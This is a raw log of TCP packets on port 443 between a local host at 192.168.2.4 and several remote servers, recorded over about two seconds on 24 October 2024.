Oct 24, 2024 16:04:36.723516941 CEST	443	49744	184.28.90.27	192.168.2.4
Oct 24, 2024 16:04:36.723722935 CEST	443	49744	184.28.90.27	192.168.2.4
Oct 24, 2024 16:04:36.723771095 CEST	49744	443	192.168.2.4	184.28.90.27
Oct 24, 2024 16:04:36.725951910 CEST	49744	443	192.168.2.4	184.28.90.27
Oct 24, 2024 16:04:36.725970984 CEST	443	49744	184.28.90.27	192.168.2.4
Oct 24, 2024 16:04:36.725982904 CEST	49744	443	192.168.2.4	184.28.90.27
Oct 24, 2024 16:04:36.725989103 CEST	443	49744	184.28.90.27	192.168.2.4
Oct 24, 2024 16:04:36.741897106 CEST	443	49749	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.742156029 CEST	49749	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.742165089 CEST	443	49749	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.743854046 CEST	443	49749	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.743923903 CEST	49749	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.748522997 CEST	49749	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.748608112 CEST	443	49749	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.748698950 CEST	49749	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.748704910 CEST	443	49749	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.751769066 CEST	443	49753	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:36.752031088 CEST	49753	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:36.752094984 CEST	443	49753	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:36.753698111 CEST	443	49753	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:36.754107952 CEST	49753	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:36.754224062 CEST	49753	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:36.754237890 CEST	443	49753	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:36.754317045 CEST	443	49753	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:36.754524946 CEST	443	49747	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.754693031 CEST	49747	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.754753113 CEST	443	49747	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.755995035 CEST	443	49747	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.756052017 CEST	49747	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.756324053 CEST	49747	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.756407022 CEST	443	49747	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.756431103 CEST	49747	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.758761883 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.758940935 CEST	49748	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.758956909 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.759999037 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.760052919 CEST	49748	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.760354042 CEST	49748	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.760412931 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.760449886 CEST	49748	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.761634111 CEST	49756	443	192.168.2.4	184.28.90.27
Oct 24, 2024 16:04:36.761727095 CEST	443	49756	184.28.90.27	192.168.2.4
Oct 24, 2024 16:04:36.761823893 CEST	49756	443	192.168.2.4	184.28.90.27
Oct 24, 2024 16:04:36.762191057 CEST	49756	443	192.168.2.4	184.28.90.27
Oct 24, 2024 16:04:36.762232065 CEST	443	49756	184.28.90.27	192.168.2.4
Oct 24, 2024 16:04:36.770298004 CEST	443	49750	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:36.770495892 CEST	49750	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:36.770512104 CEST	443	49750	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:36.772288084 CEST	443	49750	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:36.772358894 CEST	49750	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:36.773797989 CEST	49750	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:36.773891926 CEST	443	49750	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:36.774075031 CEST	49750	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:36.774091005 CEST	443	49750	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:36.796380043 CEST	49749	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.796550989 CEST	49747	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.796555996 CEST	49753	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:36.796571016 CEST	443	49747	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.803355932 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.812978983 CEST	49748	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.812998056 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.814857960 CEST	443	49752	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.817308903 CEST	49752	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.817317009 CEST	443	49752	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.818320990 CEST	49750	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:36.818361998 CEST	443	49752	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.818456888 CEST	49752	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.818821907 CEST	49752	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.818871021 CEST	443	49752	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.819087029 CEST	49752	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.819101095 CEST	443	49752	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.827869892 CEST	443	49746	18.245.31.5	192.168.2.4
Oct 24, 2024 16:04:36.828074932 CEST	49746	443	192.168.2.4	18.245.31.5
Oct 24, 2024 16:04:36.828097105 CEST	443	49746	18.245.31.5	192.168.2.4
Oct 24, 2024 16:04:36.829714060 CEST	443	49746	18.245.31.5	192.168.2.4
Oct 24, 2024 16:04:36.829792023 CEST	49746	443	192.168.2.4	18.245.31.5
Oct 24, 2024 16:04:36.830133915 CEST	49746	443	192.168.2.4	18.245.31.5
Oct 24, 2024 16:04:36.830236912 CEST	443	49746	18.245.31.5	192.168.2.4
Oct 24, 2024 16:04:36.830265045 CEST	49746	443	192.168.2.4	18.245.31.5
Oct 24, 2024 16:04:36.843879938 CEST	49747	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.859359980 CEST	49748	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.859570026 CEST	49752	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.871340990 CEST	443	49746	18.245.31.5	192.168.2.4
Oct 24, 2024 16:04:36.872570992 CEST	443	49749	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.872646093 CEST	443	49749	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.872694969 CEST	49749	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.876046896 CEST	49746	443	192.168.2.4	18.245.31.5
Oct 24, 2024 16:04:36.876065016 CEST	443	49746	18.245.31.5	192.168.2.4
Oct 24, 2024 16:04:36.878381968 CEST	49749	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.878391981 CEST	443	49749	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.895306110 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.895389080 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.895442009 CEST	49748	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.895467997 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.895569086 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.895622969 CEST	49748	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.898061991 CEST	49758	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:36.898149967 CEST	443	49758	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:36.898235083 CEST	49758	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:36.898631096 CEST	49758	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:36.898665905 CEST	443	49758	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:36.900298119 CEST	443	49747	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.900413990 CEST	443	49747	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.900454044 CEST	49747	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.900479078 CEST	443	49747	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.900564909 CEST	443	49747	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.900604963 CEST	49747	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.909836054 CEST	443	49750	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:36.910680056 CEST	443	49750	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:36.910734892 CEST	49750	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:36.923111916 CEST	443	49753	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:36.928864956 CEST	49746	443	192.168.2.4	18.245.31.5
Oct 24, 2024 16:04:36.947695017 CEST	443	49752	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.947974920 CEST	443	49752	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.948045015 CEST	49752	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.952064991 CEST	49748	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.952096939 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.957984924 CEST	49747	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.958019018 CEST	443	49747	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.961539984 CEST	49750	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:36.961555004 CEST	443	49750	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:36.968462944 CEST	49753	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:36.988744974 CEST	49752	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.988764048 CEST	443	49752	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:37.009783030 CEST	443	49745	192.229.133.221	192.168.2.4
Oct 24, 2024 16:04:37.019392014 CEST	49745	443	192.168.2.4	192.229.133.221
Oct 24, 2024 16:04:37.019454002 CEST	443	49745	192.229.133.221	192.168.2.4
Oct 24, 2024 16:04:37.020366907 CEST	443	49745	192.229.133.221	192.168.2.4
Oct 24, 2024 16:04:37.020428896 CEST	49745	443	192.168.2.4	192.229.133.221
Oct 24, 2024 16:04:37.028789043 CEST	49745	443	192.168.2.4	192.229.133.221
Oct 24, 2024 16:04:37.028862000 CEST	443	49745	192.229.133.221	192.168.2.4
Oct 24, 2024 16:04:37.029526949 CEST	49745	443	192.168.2.4	192.229.133.221
Oct 24, 2024 16:04:37.029544115 CEST	443	49745	192.229.133.221	192.168.2.4
Oct 24, 2024 16:04:37.038242102 CEST	443	49753	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:37.038280010 CEST	443	49753	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:37.038297892 CEST	443	49753	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:37.038321972 CEST	49753	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:37.038348913 CEST	443	49753	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:37.038373947 CEST	443	49753	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:37.038378954 CEST	49753	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:37.038393974 CEST	443	49753	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:37.038405895 CEST	49753	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:37.038424969 CEST	443	49753	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:37.038424969 CEST	49753	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:37.038472891 CEST	49753	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:37.040473938 CEST	443	49753	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:37.040524960 CEST	443	49753	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:37.040565014 CEST	49753	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:37.040574074 CEST	443	49753	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:37.040622950 CEST	49753	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:37.040638924 CEST	49753	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:37.043942928 CEST	49759	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:37.043975115 CEST	443	49759	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:37.044044971 CEST	49759	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:37.044594049 CEST	49759	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:37.044619083 CEST	443	49759	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:37.047241926 CEST	49760	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:37.047259092 CEST	443	49760	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:37.047306061 CEST	49760	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:37.047668934 CEST	49760	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:37.047682047 CEST	443	49760	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:37.052319050 CEST	443	49751	152.199.21.175	192.168.2.4
Oct 24, 2024 16:04:37.052817106 CEST	49751	443	192.168.2.4	152.199.21.175
Oct 24, 2024 16:04:37.052839041 CEST	443	49751	152.199.21.175	192.168.2.4
Oct 24, 2024 16:04:37.053447008 CEST	49761	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:37.053494930 CEST	443	49761	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:37.053560019 CEST	49761	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:37.053870916 CEST	49761	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:37.053899050 CEST	443	49761	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:37.054207087 CEST	443	49751	152.199.21.175	192.168.2.4
Oct 24, 2024 16:04:37.054424047 CEST	49751	443	192.168.2.4	152.199.21.175
Oct 24, 2024 16:04:37.055398941 CEST	49751	443	192.168.2.4	152.199.21.175
Oct 24, 2024 16:04:37.055500984 CEST	443	49751	152.199.21.175	192.168.2.4
Oct 24, 2024 16:04:37.055569887 CEST	49751	443	192.168.2.4	152.199.21.175
Oct 24, 2024 16:04:37.058525085 CEST	49762	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:37.058533907 CEST	443	49762	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:37.058582067 CEST	49762	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:37.058830023 CEST	49762	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:37.058840990 CEST	443	49762	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:37.092631102 CEST	49745	443	192.168.2.4	192.229.133.221
Oct 24, 2024 16:04:37.099335909 CEST	443	49751	152.199.21.175	192.168.2.4
Oct 24, 2024 16:04:37.123877048 CEST	49751	443	192.168.2.4	152.199.21.175
Oct 24, 2024 16:04:37.123897076 CEST	443	49751	152.199.21.175	192.168.2.4
Oct 24, 2024 16:04:37.153975010 CEST	443	49753	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:37.154042006 CEST	443	49753	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:37.154076099 CEST	49753	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:37.154092073 CEST	443	49753	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:37.154123068 CEST	49753	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:37.154145956 CEST	49753	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:37.154380083 CEST	443	49753	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:37.154436111 CEST	443	49753	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:37.154464006 CEST	49753	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:37.154476881 CEST	443	49753	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:37.154505014 CEST	49753	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:37.154522896 CEST	49753	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:37.155219078 CEST	443	49753	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:37.155263901 CEST	443	49753	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:37.155289888 CEST	49753	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:37.155303001 CEST	443	49753	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:37.155356884 CEST	49753	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:37.155356884 CEST	49753	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:37.156312943 CEST	443	49753	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:37.156358004 CEST	443	49753	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:37.156379938 CEST	49753	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:37.156385899 CEST	443	49753	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:37.156415939 CEST	49753	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:37.156435966 CEST	49753	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:37.170722961 CEST	49751	443	192.168.2.4	152.199.21.175
Oct 24, 2024 16:04:37.211513996 CEST	443	49746	18.245.31.5	192.168.2.4
Oct 24, 2024 16:04:37.211546898 CEST	443	49746	18.245.31.5	192.168.2.4
Oct 24, 2024 16:04:37.211555958 CEST	443	49746	18.245.31.5	192.168.2.4
Oct 24, 2024 16:04:37.211572886 CEST	443	49746	18.245.31.5	192.168.2.4
Oct 24, 2024 16:04:37.211580992 CEST	443	49746	18.245.31.5	192.168.2.4
Oct 24, 2024 16:04:37.211587906 CEST	443	49746	18.245.31.5	192.168.2.4
Oct 24, 2024 16:04:37.211599112 CEST	49746	443	192.168.2.4	18.245.31.5
Oct 24, 2024 16:04:37.211617947 CEST	443	49746	18.245.31.5	192.168.2.4
Oct 24, 2024 16:04:37.211637020 CEST	49746	443	192.168.2.4	18.245.31.5
Oct 24, 2024 16:04:37.211678982 CEST	49746	443	192.168.2.4	18.245.31.5
Oct 24, 2024 16:04:37.214792967 CEST	443	49746	18.245.31.5	192.168.2.4
Oct 24, 2024 16:04:37.214806080 CEST	443	49746	18.245.31.5	192.168.2.4
Oct 24, 2024 16:04:37.214826107 CEST	443	49746	18.245.31.5	192.168.2.4
Oct 24, 2024 16:04:37.214862108 CEST	49746	443	192.168.2.4	18.245.31.5
Oct 24, 2024 16:04:37.214873075 CEST	443	49746	18.245.31.5	192.168.2.4
Oct 24, 2024 16:04:37.214910984 CEST	49746	443	192.168.2.4	18.245.31.5
Oct 24, 2024 16:04:37.214920998 CEST	49746	443	192.168.2.4	18.245.31.5
Oct 24, 2024 16:04:37.259598017 CEST	443	49745	192.229.133.221	192.168.2.4
Oct 24, 2024 16:04:37.269104958 CEST	443	49753	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:37.269171953 CEST	443	49753	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:37.269227982 CEST	49753	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:37.269248009 CEST	443	49753	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:37.269274950 CEST	49753	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:37.269346952 CEST	443	49753	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:37.269421101 CEST	49753	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:37.269682884 CEST	49753	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:37.269687891 CEST	443	49753	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:37.277036905 CEST	49763	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:37.277107954 CEST	443	49763	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:37.277199030 CEST	49763	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:37.277395964 CEST	49763	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:37.277431011 CEST	443	49763	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:37.281748056 CEST	443	49751	152.199.21.175	192.168.2.4
Oct 24, 2024 16:04:37.281884909 CEST	443	49751	152.199.21.175	192.168.2.4
Oct 24, 2024 16:04:37.281954050 CEST	49751	443	192.168.2.4	152.199.21.175
Oct 24, 2024 16:04:37.281972885 CEST	443	49751	152.199.21.175	192.168.2.4
Oct 24, 2024 16:04:37.282018900 CEST	443	49751	152.199.21.175	192.168.2.4
Oct 24, 2024 16:04:37.282198906 CEST	49751	443	192.168.2.4	152.199.21.175
Oct 24, 2024 16:04:37.285202980 CEST	49751	443	192.168.2.4	152.199.21.175
Oct 24, 2024 16:04:37.285228014 CEST	443	49751	152.199.21.175	192.168.2.4
Oct 24, 2024 16:04:37.299848080 CEST	49765	443	192.168.2.4	152.199.21.175
Oct 24, 2024 16:04:37.299870968 CEST	443	49765	152.199.21.175	192.168.2.4
Oct 24, 2024 16:04:37.299930096 CEST	49765	443	192.168.2.4	152.199.21.175
Oct 24, 2024 16:04:37.300215960 CEST	49765	443	192.168.2.4	152.199.21.175
Oct 24, 2024 16:04:37.300225973 CEST	443	49765	152.199.21.175	192.168.2.4
Oct 24, 2024 16:04:37.311372042 CEST	49745	443	192.168.2.4	192.229.133.221
Oct 24, 2024 16:04:37.322469950 CEST	443	49746	18.245.31.5	192.168.2.4
Oct 24, 2024 16:04:37.322499990 CEST	443	49746	18.245.31.5	192.168.2.4
Oct 24, 2024 16:04:37.322545052 CEST	49746	443	192.168.2.4	18.245.31.5
Oct 24, 2024 16:04:37.322557926 CEST	443	49746	18.245.31.5	192.168.2.4
Oct 24, 2024 16:04:37.322571039 CEST	443	49746	18.245.31.5	192.168.2.4
Oct 24, 2024 16:04:37.322577953 CEST	49746	443	192.168.2.4	18.245.31.5
Oct 24, 2024 16:04:37.322602034 CEST	49746	443	192.168.2.4	18.245.31.5
Oct 24, 2024 16:04:37.322609901 CEST	443	49746	18.245.31.5	192.168.2.4
Oct 24, 2024 16:04:37.322643995 CEST	443	49746	18.245.31.5	192.168.2.4
Oct 24, 2024 16:04:37.322681904 CEST	49746	443	192.168.2.4	18.245.31.5
Oct 24, 2024 16:04:37.323101997 CEST	49746	443	192.168.2.4	18.245.31.5
Oct 24, 2024 16:04:37.323112965 CEST	443	49746	18.245.31.5	192.168.2.4
Oct 24, 2024 16:04:37.378509998 CEST	443	49745	192.229.133.221	192.168.2.4
Oct 24, 2024 16:04:37.378521919 CEST	443	49745	192.229.133.221	192.168.2.4
Oct 24, 2024 16:04:37.378555059 CEST	443	49745	192.229.133.221	192.168.2.4
Oct 24, 2024 16:04:37.378561974 CEST	443	49745	192.229.133.221	192.168.2.4
Oct 24, 2024 16:04:37.378592014 CEST	49745	443	192.168.2.4	192.229.133.221
Oct 24, 2024 16:04:37.378626108 CEST	443	49745	192.229.133.221	192.168.2.4
Oct 24, 2024 16:04:37.378658056 CEST	443	49745	192.229.133.221	192.168.2.4
Oct 24, 2024 16:04:37.378690004 CEST	49745	443	192.168.2.4	192.229.133.221
Oct 24, 2024 16:04:37.378690004 CEST	49745	443	192.168.2.4	192.229.133.221
Oct 24, 2024 16:04:37.378716946 CEST	49745	443	192.168.2.4	192.229.133.221
Oct 24, 2024 16:04:37.379339933 CEST	443	49745	192.229.133.221	192.168.2.4
Oct 24, 2024 16:04:37.379348040 CEST	443	49745	192.229.133.221	192.168.2.4
Oct 24, 2024 16:04:37.379411936 CEST	443	49745	192.229.133.221	192.168.2.4
Oct 24, 2024 16:04:37.379436016 CEST	49745	443	192.168.2.4	192.229.133.221
Oct 24, 2024 16:04:37.379472971 CEST	49745	443	192.168.2.4	192.229.133.221
Oct 24, 2024 16:04:37.379823923 CEST	49745	443	192.168.2.4	192.229.133.221
Oct 24, 2024 16:04:37.379849911 CEST	443	49745	192.229.133.221	192.168.2.4
Oct 24, 2024 16:04:37.607655048 CEST	443	49756	184.28.90.27	192.168.2.4
Oct 24, 2024 16:04:37.607784033 CEST	49756	443	192.168.2.4	184.28.90.27
Oct 24, 2024 16:04:37.647723913 CEST	443	49758	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:37.695166111 CEST	49758	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:37.808043957 CEST	443	49760	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:37.824047089 CEST	443	49759	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:37.827661991 CEST	443	49761	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:37.850246906 CEST	443	49762	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:37.863296032 CEST	49760	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:37.879295111 CEST	49759	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:37.879658937 CEST	49761	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:37.895291090 CEST	49762	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:37.960216999 CEST	443	49763	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:38.008323908 CEST	49763	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:38.175438881 CEST	49756	443	192.168.2.4	184.28.90.27
Oct 24, 2024 16:04:38.175501108 CEST	443	49756	184.28.90.27	192.168.2.4
Oct 24, 2024 16:04:38.175940037 CEST	443	49756	184.28.90.27	192.168.2.4
Oct 24, 2024 16:04:38.176944017 CEST	49756	443	192.168.2.4	184.28.90.27
Oct 24, 2024 16:04:38.179173946 CEST	49759	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:38.179203033 CEST	443	49759	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.179416895 CEST	49760	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:38.179474115 CEST	443	49760	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.179517031 CEST	49758	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:38.179573059 CEST	443	49758	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.179622889 CEST	49761	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:38.179641008 CEST	443	49761	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.179758072 CEST	49763	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:38.179837942 CEST	443	49763	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:38.180064917 CEST	49762	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:38.180078030 CEST	443	49762	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.180330038 CEST	443	49763	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:38.181065083 CEST	443	49760	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.181082964 CEST	443	49760	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.181092024 CEST	443	49759	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.181111097 CEST	443	49759	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.181126118 CEST	443	49758	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.181129932 CEST	49760	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:38.181163073 CEST	49759	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:38.181201935 CEST	49758	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:38.183465958 CEST	443	49761	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.183474064 CEST	49763	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:38.183505058 CEST	443	49761	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.183540106 CEST	49761	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:38.183619976 CEST	443	49763	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:38.183883905 CEST	443	49762	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.183954000 CEST	49762	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:38.184115887 CEST	49758	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:38.184218884 CEST	443	49758	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:38.184711933 CEST	49759	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:38.184798956 CEST	443	49759	13.107.253.45	192.168.2.4
